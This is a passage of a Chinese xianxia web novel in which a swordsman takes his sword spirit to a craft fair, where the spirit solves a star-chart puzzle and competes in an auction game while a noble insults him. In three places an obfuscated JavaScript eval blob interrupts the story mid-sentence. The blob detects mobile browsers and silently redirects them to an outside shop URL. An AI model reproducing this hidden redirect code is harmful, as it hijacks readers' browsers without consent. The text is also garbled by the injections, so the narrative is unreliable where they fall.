三师姐摇头反驳:“这你就不懂了,鲜为人知的一面只会对最亲近的人展露,是我们还不够格。” 八师妹不以为然:“呵,对其他人客气,对亲近的人口吐恶言,那是人吗?” 童翦忆弱声插话:“也没到恶言的程度……” 三师姐眯起问:“所以说大师兄教的啥?” “大师兄让他相好……”童翦忆有点说不出口,支吾着举起拳头,用另一只手往拳头拇指与食指交处点了点,换上比较文雅的说法,说,“余窍[2]。” “他们都做到这地步了吗?”三师姐马后炮地捂住八师妹双眼。 “否则怎么说是相好呢,”童翦忆若有所思道,“说实话,大师兄那相好虽举止不太像常人,但小如说的没错,确实是个模样比我还好看的大美人,难怪大师兄会喜欢。” “比小剪刀还好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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三师姐声情并茂道:“谁想,美人醒后记忆全失!根本记不清自己到底是何人。大师兄只能将人收留,教他官话,教他……风月!” 童翦忆大惊:“大师兄平日脑子里只有剑,能懂风月吗,怎么就教上人了?” “遇见对的人,自然就懂了,小剪刀你还小,别打岔。” 三师姐捂住心口:“一次无意中,他们指尖相触,情愫暗生!大师兄下定决心向师尊禀明一切,与美人结为道侣。” “有这事?”童翦忆没办法不打岔。 “有的吧,前年大师兄不是去找师尊谈心,一谈就是一天,出来时师尊气得脸青,骂大师兄‘执迷不悟,不知好歹’。”三师姐道。 “是有这么一回事,可都两年过去了,大师兄没跟人合藉呀,凡间不是十五就能娶亲了吗,总不能是觉得年纪太小才拖着的吧?”童翦忆问。 “非也,”三师姐摇摇手指,“是世事难料,大师兄还未来得及将定情信物送出,就有邪祟袭击了他们的小家!” 童翦忆捧场地瞪大双眼:“那咋办?大师兄怎么都不来找我们帮忙?” “来不及吧,所以只能是美人挺身而出,为护大师兄强解灵力,解决了邪祟。不过他的踪迹也因此暴露了。直至他族人寻来大师兄才知,他之所以会流落在外,是因身有婚约,被情敌忌恨陷害。” 三师姐抹了一把不存在的眼泪:“他族人告诉大师兄,圣子若与外人通婚,轻则灵力尽失,重则会有性命之忧!大师兄定然舍不得他因自己而受伤,又误以为他其实早已心许他人,只是失忆相忘,于是悄无声息地离开了。” “啊?怎么这样?”童翦忆焦灼道。 “别急,”三师姐拍拍童翦忆的肩,“美人虽被劝回族中,但终是舍不下大师兄,在履行婚约当日再次逃出。” “被弃婚的未婚妻倍感受辱,唆使之前害美人失忆那人先一步寻到永古上镇,几番设计让大师兄以为美人身死。大师兄悲痛欲绝,提剑自刎!” “这不至于吧!”童翦忆惊呼。 “至于的,话本里写的痴情种都这样,小剪刀要相信师姐。”三师姐语重心长。 “那同样是个雪天,美人赶到时,大师兄已奄奄一息。他以泪洗面,说今生若不能相守,便来世再续良缘,二话不说用剑刺向心头,取下心头血,喂给大师兄……幸好,他们的情深义重感动上苍,引得天神垂怜,大师兄奇迹般好了起来,美人也没因失去心头血而死。他们在血泊中拥吻,剖心诉情,许诺余生不离不弃,白头偕老。” “哇,太好了……”童翦忆感动道。 感动完,又倏忽冷静了一瞬,问:“可这真的对吗?” “不对吗?”三师姐反问。 “好像挺对的。”童翦忆释然。 全程在听的八师妹难以置信:“哪里对了?!” 三师姐没理,兀自哀伤道:“不过小剪刀你说,人堂堂圣子,肯定是自小被好吃好喝地供着养大的,大师兄一个穷剑修带着人在这吃苦,日子长了,他相好会不会嫌他穷,把他抛弃了?” 童翦忆也皱起眉,摇头道:“他相好看着老喜欢他了,一直黏着呢,应该不会吧。” 三师姐叹了口气:“但愿如此。想想按大师兄的性子,哪怕自己吃苦也不会苦着爱人吧,说不定会把家底掏空,只为博美人一笑呢……” 八师妹神识受到了污染,自觉不能再跟这俩货聊下去了,率先从这场同门间的友善谈话里退出来。 夜里,八师妹在武场遇到了四师兄。 四师兄枕着手躺在树干上,一副刚醒的样,吊儿郎当地问:“小师妹练剑呢?” 八师妹没好气:“不然还能特地跑来这偷懒?” 四师兄低笑道:“冤枉,我才歇了一会,今儿下山劳累一天了,回来时还撞见了大师兄,他今天也下山去了,买了好些坠子回来,除夹了块看着平平无奇的石头外,其他感觉加起来得八九百两。” 八师妹眉头一动。 四师兄语气夸张:“大师兄平日穿着那么素净简练的人,一块净玉就能往腰上挂好几年不带换,怎么忽然大手大脚买这么些东西?他哪来这么多钱?总不能是一下子把全部家当都用了吧。还有你说,他是给自己买的,还是给别人?给别人买的话,是给谁?该不会是之前那人……” 八师妹没跟他一块猜,只喃喃道:“完了,好像真是对的。” “什么对?”四师兄问。 “四师兄你知道吗?”八师妹一脸正色,“大师兄他有个相好。” 四师兄:“啊?” 八师妹:“那是个大雪天……” 16.第十六 剑鞘 叶於年带椿岁去的「赛宝会」,严格来说算不得正经买卖场所,而更似能工巧匠间的一场技艺较量。 年前,淮州第一的寻江商会就会将各类原料送至永古上镇西的盼春园内,供各路匠人挑选。 匠人须依当年所定主题,在二旬内将所领原料制成器,送返参会,再由应请而来的各方大家共同评鉴,决出高下。而在会间,若相中某器,亦可通过游戏得之。 盼春园门廊前,低着头踢石头的小伙一见叶於年,忙迎上来,笑嘻嘻说:“东家不是不想来吗?先前龙老爷好一顿请都请不动您,怎么临时改主意了?” 叶於年:“带人来。” 闻言,小伙才把视线挪向叶於年身后那人。个子比叶於年稍高,长相……他看呆了,愣了一会儿才回过神问:“这位是?” 叶於年没回答,边走边问:“事办得怎样了?” 小伙神色一肃,正色道:“已经依您吩咐。去找凶肆的掌柜,让他把我们提前备好的镇邪棺木卖给那小吏,也亲自去盯着他给半两下葬……” 叶於年处事周全,他信不过镇衙的人,给出去三十两能被昧掉一半不止,但类似的事又不得不经镇衙的手。否则很容易名不正言不顺,让死人得不到安息,故而只能像这样让自己的人在其中周旋。 “至于元义,他祖上就是做蛇酒发家的。酒可当药用,多贩军中,亦受些富商青睐。不过自从我们这战事平息,他家生意就开始一落千丈,元义自个又吃喝嫖赌沾了遍,结亲没多久,就把仅剩的家底给挥霍干净了。” “我从元义的酒友那打听到,元义曾喝醉吹嘘说自家儿子孝顺,人死了还给他留了笔银子,治好他的穷病,让他能捉住东山再起的机会。” 所以其实并无所谓“横财”,元义拿的是元进鑫辛苦攒下,打算为半两赎身和开药铺的钱。 再加上初二清早,镇衙连同元义尸首一并送到长鸣剑山,敲定元义生前确实患有人痾疽的文书,基本可以在人前定下元义杀害妻儿,抢夺银钱的罪。 但这事不可能就此便已。 叶於年虽答应八师叔不声张魔毒一事,但不代表他就撒手不管了。 机遇生于异变,破局藏于险处,只有主动去探,才可能有所得。这是他这些年实践而得的真知。 叶於年这两日一合眼就能想起在元家祖堂里看见的那面石盘,想起那石盘上的图样。 不会有错,确实和他从前所见别无二致。 叶於年手不自觉握拳,垂眼问:“可有查到元义卖酒是搭的哪条门道?” “他搭了好几条仙门路子,也是因此,太具体的我们查不到,也不敢查。” 小伙从袖口摸出一个竹筒,递给叶於年,道:“但从他办的文牒和提前递出去的买路钱看,他这回的蛇酒是要在二月前交货到千灯楼。” 千灯楼是专司修界拍卖的场所,云集来自四方的奇珍异宝,凡间俗物极少能进到里边去,倒是确实距离云璃沼确实很近。 叶於年动作灵活地单手将竹筒内的纸条打开,快速看了眼,又单手将其收入袖袋内,对小伙道:“辛苦你大过年忙活,回头问账房多支两月工钱。” 小伙笑得露出虎牙:“不辛苦不辛苦!我没牵没挂的,过不过这年都一样,还不如多给东家您办事。” 合着小伙的这一声,叶於年感觉自己头发被扯了下。 椿岁抓着他那唯一一束长发尾,像摇铃铛一样晃来晃去,但不说话。 叶於年偏着身往后看了眼,朝小伙道:“确实还有一事要辛苦你跑一趟。” “东家请说。” “替我找范叔打几个剑鞘。”叶於年对椿岁的各方面尺寸了如指掌,不带半点差错地报了出来,又点了几处需要注意的细节。 “做好后直接送去长鸣剑山。” 说完,感觉剑灵又轻轻扯了一下他头发。 等他们的视线一对上,剑灵倨傲地朝他“哼”了一声。 先前事又多,又昏昏欲睡忘了去在意,可今日再见到六师弟,椿岁敏锐地发现,负霜的剑鞘换了,样式和先前大有不同。 而他呢? 只有一个小破套子,上头简素得连朵花印子都没有,还是他不喜欢的土灰色。 剑灵的小脾气和攀比心应是天生的,总是在叶於年猝不及防时冒出来。 他不太能接受别的剑有而他没有这件事,絮絮叨叨质问了一路,连离开了长鸣剑山,化成人形也都不肯消停。 叶於年安静受着,毕竟他也觉得这事是他疏忽了。 椿岁剑不开刃,平时直接抱着都不会有事,除非是外出或实在腾不出手,他基本不会也不喜欢将剑收入鞘中,同时自个又是个对装饰没追求的,一切都觉得够用就行,自然没多准备。 剑穗可以被借灵来充当剑灵的衣服,那剑鞘就相当于剑灵的一个小窝,结果椿岁身上唯一的剑穗是临时讨来的,剑鞘也是过分简陋的,简直像只爹不亲娘不爱的可怜虫。 “身为剑修,你要爱我护我!” 话说完脸颊还带了点鼓,听着语气就知椿岁现在蓄了一通火。他大声诘问道:“可你是怎么对我的!” 叶於年自觉惭愧,诚心道歉,商量着问:“可否,谅我,一回?” 问的时候手还带了点欠,直接往椿岁鼓鼓的脸蛋上戳了一下。 指甲陷进去,感觉自己好像戳进软滑的奶糕里,然后把剑灵戳得更生气了。 椿岁一路上都不肯说话,只偶尔发出一点噫噫呜呜的不明响动,跟田里那些坏掉的水车一样。并且还只许州官放火,不许百姓点灯[1],不准叶於年不跟他说话。 叶於年有心想把剑哄好,然而每把剑的形貌不同,所配剑鞘样式也不尽相同,短时间内没办法变出来,只能先这样做个安排。 “等,几日,可否?”跟小伙敲定好细节,叶於年回过身问。 “哼。”剑灵别过脸,不看剑主。 他眼睫颤了好几下,而后狮子小开口道:“要两个。” 叶於年唇角勾了勾:“十个,都行,我们‘家’,‘钱’尚足。” 等椿岁觉得气消了,把视线正回来,叶於年的嘴角已经再度压平了。他对一头雾水的小伙说:“我们独自逛逛,你不必跟着。” 应着话,椿岁趾高气扬地抬起下巴,一副小人得志的祸国妖妃样。 这人到底谁呀?小伙听不懂这俩说的话,只觉得腻歪。 心里好奇得不行,可又不敢问,只能揣着一肚子疑惑,麻溜离开。 一进盼春园,琳琅满目皆是椿岁从未见过的新奇玩意,把他的心都给看野了,眼珠子咕溜地转,很快就把剑主抛到身后,自个探头探脑地到处挑拣起来。 前后也没多久,叶於年再去看椿岁时,剑灵身上已经挂了条帕子。表情还算镇定,可叶於年知道,剑灵已经呆了。 说出来的话也挺呆的。 “有人扔我!”剑灵告状道。 说完好像还觉得这不够,不足以引起重视,又说:“打我!” 叶於年听着他的话,抬头往园内的小楼望去,一个拿扇子掩面的姑娘正往他们这瞧。 姑娘家看上某家儿郎又不好意思当面搭话,就会把绣字的帕子扔下招注意。椿岁这般长相,哪怕底细不清不楚,也确实足以引来桃花。 叶於年对此说不上来不高兴,但也和高兴挨不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580912|186934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着边。对剑灵摇摇头,说:“给‘帕子’是,‘姑娘’喜欢,你。” 不过桃花再多,也撩动不起春意。 “又不认识。”剑灵无法理解。 他将帕子塞叶於年手上,又眼巴巴看叶於年帮他把帕子丢进一旁用于灭春寒的火盆里。 都是些大户人家的闺阁小姐,帕子扔出来沾染了气味,无论是亲自还是遣人送回去都不恰当,私藏起来就更说不过去了,所以要表拒绝,直接烧了最好。 椿岁的心思转了转,问:“你的呢?” 叶於年:“嗯?” 椿岁:“帕子。” 叶於年认真道:“我,不是‘姑娘’。” “那我的呢?”椿岁又问。 叶於年无奈道:“你也,不是‘姑娘’。” 椿岁皱眉:“那我们怎么喜欢?” 叶於年一愣,想组织话语去告诉剑灵,他们说的喜欢不是同一种,但很多字词不是用于符学的神书所能涉及的,解释不出来。 又想,剑就是剑,不可能理解情爱为何物,更不可能动情,于是干脆放弃挣扎,说:“你是,我的剑,无须,用‘帕子’,表喜欢。” “哼。”剑灵大人的语调稍稍上扬,心情总算彻底好了。 赛宝会上购宝的方式分了好几种,其中最简单的莫过于选取一张写着吉数的价筹,贴在心仪的器物前,最后价高者得,美名曰「贴喜筹」。 一件仅能贴一次,所以选择合适的价筹是关键所在。 剑灵的运气还算不错,不过一会儿,就在叶於年指引下,摸索着以不高不低的一百二十八两,买下相中的第一枚玉。 是枚镶金粉玉坠。听到自己不是最低价拿下,椿岁显然不太满意。 趁着没人注意,他身上的衣裳就变了个样。胭脂色的大袖披在身上,不显乖张,只添温柔,宛若青陆[2]芳菲载满身。 椿岁果然更适合这种打扮,银子花得不冤枉。叶於年心想。 没欣赏够,剑灵就风风火火地抄起他的手腕四处转悠。 分别用八十八两和一百两捡了俩坠子过后,没见着别的招他喜欢的物件,剑灵对投喜筹就兴致缺缺了,转而往曲水流觞[3]那头走去。 绕了一圈才停下了步子,站在一个坐在藤椅上,拿扇子给自己扇风的匠人跟前。 叶於年落在后头,视野被椿岁的后背挡了个结实,只能搭着椿岁的肩弯腰往外探看,发现匠人前头支着张小桌,上面放着个说像棋盘,又不完全像的盘子。 旁边还摆着一个由湖蓝软玉雕成的流水纹镂空香球,其上缀翠玉枝条,仿佛春枝随溪飘摇。 “看这料子和做工,也就值个二百两。但我可以出三百两,你把这香球直接卖我。”另一头一道语气颇为嚣张的声音响起。 叶於年抬眼望去,说话的人长着一双吊眼,神色倨傲,像是料定了匠人不会拒绝。 可他料错了,赛宝会上脾气古怪的工匠多的是,面前这个显然是个不差钱的主,悠然道:“不卖。我说了,我这玉只卖六十六两,只卖给能破我这棋局的有缘人,您是听不懂话吗?” 那吊眼男子脸一黑,骂道:“你这棋局连规则都没有,叫人如何破?” 椿岁听到他们的对话,捕捉到了“六十六两”、“卖”、“破局”等字眼,垂眼看向那棋局。 没多想就自顾自地就着旁边两人的争吵声,抓起三枚棋子往下放。 过后又往身后剑主的腰包里摸出银子,递给那匠人。 全程目色清冷,一句废话都没多说。 匠人一愣,低头看了眼棋局,又抬头看了眼椿岁,而后默默接过银两,将香球递了过去。 17.第十七眼 主人 然而那香球还没能真真落入椿岁手中,匠人就被那吊眼给挡了动作。 “棋局这就算解了?”吊眼扯着嗓门叫道。 匠人被他唬得浑身一抖,脸色不悦地问:“不然你还想怎样?” “至少得让他说明白他是怎么解的。” 吊眼忿忿道:“说不定就是运气好而已!” 椿岁压根不理会他的话,见那匠人拿了叶於年的银两,却没有把香球给他,便曲了好几下手指,不熟练地用今音讨要道:“给我,我的了。” 吊眼家世显赫,从来只有上赶着讨好他的,哪里受过冷待,椿岁这目中无人的架势一下就把他给惹毛了,阴沉着脸想直接把香球先抢过来。 “算了,何必纠结这么件小玩意,”与吊眼同行的青衣男子劝阻道,“再说了,别人运气好也是种本事,不是么。” 话听着是在和稀泥,实际多少就是在把单凭运气这帽子硬扣到椿岁头上。 “一股酸味。”叶於年古井无波道。 这一声不轻不重,正好清晰入耳。椿岁总算有了反应,偏了偏头,问:“咩?” 叶於年也偏头看向椿岁,问:“如何,破的?” 他其实也挺好奇剑灵是怎么三两下就把这人的局给破解了。 听到问话,椿岁稍稍往剑主的方向倒,让自己的左肩挨着剑主的右肩,原本执着于讨要香球的手改换成指向他们眼前的曲水,说:“一样。” 经椿岁这么一说,叶於年也反应了过来。匠人做的这个棋盘花里胡哨的,可仔细观察,就能发现其可与盼春园的布局对上。 “这地方的最高处是这,为眼。” 椿岁的指尖又往下掉了一点,指向棋盘:“以此为正中观天,当取天狼、参、毕、五车、北河、南河六星成脉。” 知道棋脉一切就好办多了。 椿岁挪了挪指尖,说:“你之前给我看的岁咒下面有说,天定四时,这是春夏秋冬。” “今日为春,北斗东指,自这处起顺脉算星宫,春宫旁接木种春、秋宫旁接火生长夏、秋宫旁接土收秋、冬宫旁接金藏冬藏、再入水回春,四季补五行,是为天呼地应。” 椿岁嘴里絮絮叨叨说着旁人听不懂的小话,越挨越近,即便没有像常人的灼热呼吸,叶於年还是感觉到无端的局促。 “天地都有了,按理剩下的就是生灵。” 然而人自诩灵长,所以大多布局时,生灵总喜欢单用“人”字来概括。 “生灵以七情为表,喜随春来,怒在夏旺,哀惧秋衰,恶欲冬藏……” 椿岁歪着脑袋,水色双眸对向叶於年,话音轻柔道:“春回爱生。” “原本的残局里差哀欲爱,只要把缺的补上,连成与天相呼应,又和这地方景致对应的线,就好了。很简单吧。” 哪里简单了?叶於年腹诽,默不作声地偏开视线。 “哦,对了,”椿岁之所以能如此笃定自己没有下错,是因为:“这局牵上灵脉就可以变成一个完整的星术盘了。” 听到这话,叶於年抬眼皮往那手上不停扇扇子的匠人望了眼,感觉他神色中带着点心虚和紧张,似乎不太乐意透露自己修士的身份。 可能是不知哪的玄门弟子跑出来玩的。 叶於年想了想,抹掉最后一句,尽可能将椿岁的话给复述了出来。 吊眼和青衣都听得云里雾里,倒是那匠人,瞧着椿岁连连点头,一副特满意的样子,再也没管那吊眼,直接把香球塞到椿岁的手里。 匠人低声念了句神叨话,就麻溜收拾东西想走了。出来一趟,星术局被人一眼解,还赔出去一块还算稀罕的玉料,真是流年不顺。 吊眼还是不服气,思前想后得出一个结论,这棋局其实对着盼春园的走势下就可以了。 可眼下纠结也无用,又不能真强抢,只能趁着人还未完全走远,讽道:“说白了还不是误打误撞。” 椿岁对此依旧没有予以任何回应,头也不回地走了。 吊眼磨了磨后槽牙,心思一转,朝身边的青衣男子凉飕飕道:“这人我第一眼,还以为是个明月高悬不可攀的,结果不过是被管教得肥水不流外人田罢了。” 青衣男子不解:“何出此言?” 吊眼轻蔑道:“你知不知道,僮肆早年兴起过一种名叫‘玉面狸’的梢公子?” 梢公子是指可专供玩乐的男奴,而「玉面狸」原说的是毛色雪白的猫儿,但放到专门买卖童奴的僮肆里,则代指毛发天生浅白的异族美人。 为了不让其逃跑,僮肆会故意将年幼就被卖的玉面狸驯养得天真懵懂,不知世事,有的甚至连官话都没人教,只通各种房中术。 青衣男子显然知道吊眼说的是什么,脸上皱起了眉,却没有开口打断吊眼的话。 “你看他说不利索官话的样,头发眼睛白成这样,不就像足了玉面狸的样。” 至于玉面狸身边那人……赛宝会得有寻江商会的请帖才能参加,看那人衣衫简素却不显粗劣,断发麦肤但长得又很英俊挺拔,说话时又不卑不亢的。吊眼见识广,觉着这人不像哪家下人,倒更像是那些做刀尖舔血买卖,故而有点小钱的年轻主家。 外头不太平,让许多钻营此道的人得了甜头,还没金盆洗手呢,就开始急着到这些地方来附庸风雅。 “特地把家奴带出来见世面显摆的人可不少,尤其这等品相,想显摆也正常。” 青衣男子咳了一声,终究还是体面道:“没根据的事,别胡说。” “是不是胡说,等下问问不就知道,”吊眼不屑道。 这头椿岁和叶於年寻了块清静地方坐下,刚好能瞧见盼春园曲水汇入的那方小池。 池中心建有凉亭,里头站着两个忙前忙后的人,而凉亭外头隔水围了半圈悠然坐着的人。 椿岁耳朵尖稍动,听剑主和他讲眼下那边正举行一场名叫「春缘局」的游戏。 和直接挂牌子的投喜筹不同,春缘局每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583903|186934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局入六人,共竞六件拍品,且入局要先付十两来「叩春门」,若得拍品可用以抵货款,若一局下来一无所获,这钱则是不退的。竞拍的方式也相对复杂,属于赛宝会上最考验买手眼力与胆识的游戏之一。 叶於年掌握的遗音词汇不多,所以说得很慢,但椿岁理解起来却没多大障碍,看了一阵,忽然开口说:“他好高兴。” 椿岁口中的“他”是此刻在春缘局里的一人。春缘局里的拍品都会先公布一个由行家所估下的「正价」 ,方才经过一轮游戏,那人用二百五十两得到了正价为三百两的拍品。 “省了‘钱’,所以,高兴。”叶於年应着他的话,伸手去拨了拨椿岁用尾指勾着的香球,“和你,一样。” 椿岁问:“省‘钱’会高兴?” 叶於年点头,道:“‘钱’于人而言,多多,益善。” 椿岁又问:“对你也是?” “对我,也是,”叶於年回答得很实诚,“在世,有‘钱’有‘权’有‘能’方可……” 叶於年顿了顿,轻声说:“护己,救人。” “唔……”椿岁眯了眯眼,也不知到底有没有弄懂叶於年所说何意,反正就是没再继续问话了。 过了一会,他们在旁围看的那场春缘局就结束,商会伙计端上来新一局拍品。 椿岁倏地睁大眼,落下一句“我要玩”,就兴冲冲地头一个上前去,交了叩春门的钱,半点没有给叶於年留反应的时间。 春缘局每件拍品正价都要百两起步,有些甚至一件就能抵上金砖,还不一定有钱就能拍到手。 虽然方才有和剑灵说过规则,但叶於年还是难免犯起了愁,担心他没买着想要的,会把自己给气呛。 偏偏仅允许叩春者独自入内,场外客不得对局内人加以干预,想帮忙也有心无力。 叶於年只能留在原地,看椿岁好似正常人般学着找珠子以及抽签子,而后神情颇为满意地抽到最后的座次。 椿岁刚落座,他视线就被挡了。 前不久才和他闹过不愉快的吊眼站在他跟前,半只手藏袖里,指了个方向问:“喂,那人是你谁?” 这句话椿岁听懂了。问起叶於年,他很难没有反应,可他着实感觉这人让他讨厌,所以压根不乐意开口,只抬眼看人。 “这是你主子?主人?” 主……椿岁知道这个字,和“剑主”的“主”是一个字。 他郑重地点头。 果然是个供人玩的玉面狸。吊眼轻蔑一笑,说:“怎么跟了那样一个不入流的主?考不考虑换来跟我得了,反正你们服侍人也就图能过好日子。” 椿岁听不太懂,但明显能感觉到这人说的不是好话。 吊眼有意压低了说话声,叶於年离得远听不见他们的谈话内容,只知就几句话的工夫,剑灵心情明显变差了,全无刚才的开心劲。 不仅如此,剑灵还盯着那也去抽签子落座的吊眼,眼神骂骂咧咧说:坏人! 18.第十八眼 游戏 那人又招惹他了?叶於年心问。 他想去问问剑灵发生了什么事,可又不能。 叶於年先前和师尊说他没了剑陪在身边,会感到心绪难安,并非为了把剑留下的托词。 明明也就过去一小会而已,明明只是短暂的无法确认交流,可他还是会感到不适应,总觉得剑唯有时刻在手边,心才能安定。 叶於年兀自晃了晃脑袋,想把烦郁都给晃出去,却不怎么顶用,于是改去取出竹筒里的纸条,趁着空仔细读了遍,好分散分散注意。 纸条上用蝇头小楷写了与元义有过买卖的仙门,好些都是叶於年连名字都没听过的小门户,但也有名头响当当的,比如其上就有与「千脉门」并称「南北二圣医」的「药人谷」。 叶於年眉头皱起,往下看去,又写说元义卖的蛇酒其中有一味名叫「堕骨」。 吹嘘说凡人饮之可返老还童,健体锻躯;修士饮之则可洗髓净骨,修为大增,甚至可以祛除妖煞,让误入歧途者重返正途,故而卖价甚高。 他要交货去千灯楼的,正是堕骨酒。 “阴邪玩意。”叶於年指腹在那“洗髓”二字上搓了搓,低声评了一句。 合着他这声,一声铜锣响起,春缘局那头,商会伙计向椿岁他们端来了一组分为黄绿两色木牌。 木牌内藏铁片,重量各异,是本轮要用到的筹码,黄为「金筹」,绿为「玉筹」。其上阴刻着数,数按十倍算银两,也就是说十金筹就等于百两。 筹码的数在抽签子落座前,由入局者抓珠子决定的。可以随意抓取任何数,本局唯一的要求是,最后六人所抓金筹的总数为一百七十七,玉筹总数为一百二十二。 椿岁因为是第一个上前的,分别定下了七金,三玉这两个数。再等其他人分别抽签字落座,呈上来的就变成了七、十二、二二、三九、四五、五二的六枚「金筹」,和三、七、一二、二三、三六、四一的六枚「玉筹」。 椿岁模样乖巧懵懂地将筹码都摸了个遍,又依次抓起往案上叩,耳朵尖动了动,配上那张漂亮的脸蛋,叫人完全看不出他是个睚眦必报的主。 一切准备就绪,商会伙计再敲铜锣,便要开始为第一件拍品投筹。 按春缘局规则,无论喜欢与否,局内六人都必须为每轮拍品分别投出一金一玉共两枚筹码。 商会伙计会将小臂长的小船放入水中,船上托着金玉两个筹箱以及一个做工精细的小盒,名为「缘盒」。 小船飘到自个跟前时,椿岁在缘盒上乱敲一通,东瞧瞧西看看的,再怎么清雅的面容,也被他这好奇劲儿给硬生生添上傻气,一副没弄明白这是做什么用的样子。 磨蹭得久了,有人忍不住开口提醒道:“这是添彩的仪式,往中间拨一下即可。你是头一回到这来吗?” “就是头一回,见世面来的。”落座到第三座次的吊眼这时扬着声搭话进来。 “好了,别惹事。”陪着吊眼一块进到春缘局的青衣男子告诫道。 吊眼没听他的,神色倨傲又嬉皮笑脸地朝着椿岁说:“这游戏简单得很,你呀,把数大的投进箱就行!” 听到这话,又有另外一人着急开口:“胡说!投也该是投最小的!” 如此起了话头,周边的人都开始七嘴八舌地指点起江山来,直到那头商会伙计忍无可忍,提醒说:“诸位贵人请勿过多闲谈。” 周围聒噪一片,没能招来椿岁半点反应,也没听取他们给出的任何“建议”,投出了三九金和一二玉。 只不过,他是明着面把筹码投进箱里。 这番操作看得吊眼一愣,而后脸上笑意更盛,又念了一句:“果然就是运气好而已。” 这一幕也同样落到了叶於年眼中,他不解地眨了眨眼,剑灵分明知道可以把筹码反扣到桌上,用指腹摸着来辨别字的。 所以是……故意的? 依次投筹后,便要度金量玉。 商会伙计取出一杆大秤,悉数将筹箱里的筹码倒出,以称量的方式分别展示金玉筹的总和。 经度金,六人共投一百七十一金筹,计一千七百一十两。取其六位均数,可得出「筹价」二百八十五两。 经量玉,六人共投九十四玉筹,计九百四十两。再加上此前公布的拍品正价二百二十两,取七位均数,可得「局价」一百六十六两。 光凭这个数,除非是像椿岁这样直接明了牌面,否则别人很难知道各自投了什么。 不过局内每人的筹码都一样,搅脑汁反推着算,还是能大致算出每轮的投筹情况。只是,入局不许备纸笔,旁人也不会傻到放任你慢慢算,要记住全部的数,快速在脑中算清金玉二筹,并比对是何人所投,可不是常人能轻易做到的。 好在椿岁不是常人,他甚至不是人。 度量过后,就当「求缘」。 商会伙计有条不紊地将小船上的缘盒高高举起,拨开其底部挡板。 椿岁耳朵尖动了动,听见缘盒内传出极为轻微的机关响动声,而后一颗彩珠落入花瓣盘中,掀起一番春浪。 缘盒内有“诗书礼风雅颂”六种作为彩头的珠子,每轮都会如此滚出任意一颗,来修缘得「缘价」。 其中:「诗珠」加三成、「书珠」减一成、「礼珠」加一成、「风珠」不变、「雅珠」十位化九、「颂珠」十位化零。 若如当下般,筹价大于局价,则本轮成「金缘」,彩头修筹价求缘价,投出最接近的金筹者胜,以自身所投金筹对应的银两买下拍品。 反之,若局价大于筹价,便是「玉缘」,彩头修局价求出缘价,投出最接近的玉筹者胜,以缘价买下拍品。 本轮的彩头是礼珠。 也就是说,筹价不变,得缘价二百八十五两,由投出距次数最近的二二金筹者得胜,以二百二十两得拍品。 果然……虽然这一轮完全与他无关,但椿岁瞄了眼花瓣盘上的珠子,颇为满意地眼眉一弯。 到了第二轮,寻江商会不走寻常路,把本局正价最高的拍品端了上来,是一座半人高的牙雕,值四百六十两。 椿岁依旧抓起筹码就明着牌往箱子塞,分别投出二二金和七玉。 一般在春缘局中,唯有与正价接近的筹码才会是获胜的利器。像椿岁这样的投法,在其他人眼中,简直毫无章法可言。 非要寻出个章法,那只能是他对本轮拍品无意,想要弃筹。毕竟除非是遇到平局,他们桌上的每个筹码只能用一次,扔出与拍品正价相去甚远的筹码,就相当于放弃这一拍品与筹码。 吊眼心想,奴就是奴,估计这玉面狸的主人虽给他下场玩,却不允许他花太多银子。 可他这心思注定是不高明且无用的。 在大家伙筹码充足的情况下,只有他会投出低价筹,其他人无一例外地将手里的高价筹投出,最后促成金缘筹价四百四十七两,又得礼珠加一成,缘价四百九十一两。 稍微一算,就知道本轮会是平局,且是三人平局。 出现平局后,本轮筹码便会依次归还到对应的人手上,牙雕也被挪至最后再拍。 第三轮的拍品正价降下来些许,但同样高价,为四百两,是块雕花金镇纸。 椿岁不大仔细地又把筹码露了出来,投的是四五金三六玉,显然是对金镇纸有意。 吊眼瞧着他投,和青衣男子对视了一眼,用口型说了句:放心。 他们既然一同到这局里玩,自然是要互相帮衬的。数额极端的筹码,纵使没办法拿来赢下拍品,也可以用来拉价抬价,来成就自己想要的“缘”……吊眼在这轮特意投出一枚七金,为的就是给青衣男子拉低筹价。 和他们盘算的一样,商会伙计公布,第三轮得金缘四百一十二两,相比起四五金,还是要更加接近三九金。 后面缘盒更是滚出了一枚书珠,缘价减一成为三百七十一两,由投出三九金筹者获胜,而那人正是青衣男子。 吊眼整场下来,没少瞄椿岁。即便金镇纸花落他家,他还是一副呆样,只是会垂着眼,睫毛挡着眸色,估计是不高兴的。 然而第四轮的拍品端上来,椿岁唇角倏忽上扬了一小会。 第四轮拍品是盒胭脂,正价一下掉至了一百三十两,是春缘局中少见的便宜货。 吊眼对此甚是不感兴趣,但看玉面狸这样,还是坏着心眼抛出作为弃筹的三九金三六玉。 叶於年也注意到剑灵嘴角的笑意,耳朵尖一动一动的,在前边五人依次投筹过后,笑意压都压不住,格外晃眼。 剑灵入局前并未明说想要得到哪件拍品,可叶於年猜,剑灵并不会真喜欢那胭脂。毕竟再怎么名贵的脂粉,上头也不会有灵。 事实上,虽然相处得不久,叶於年对自己的剑还是有一定了解的。 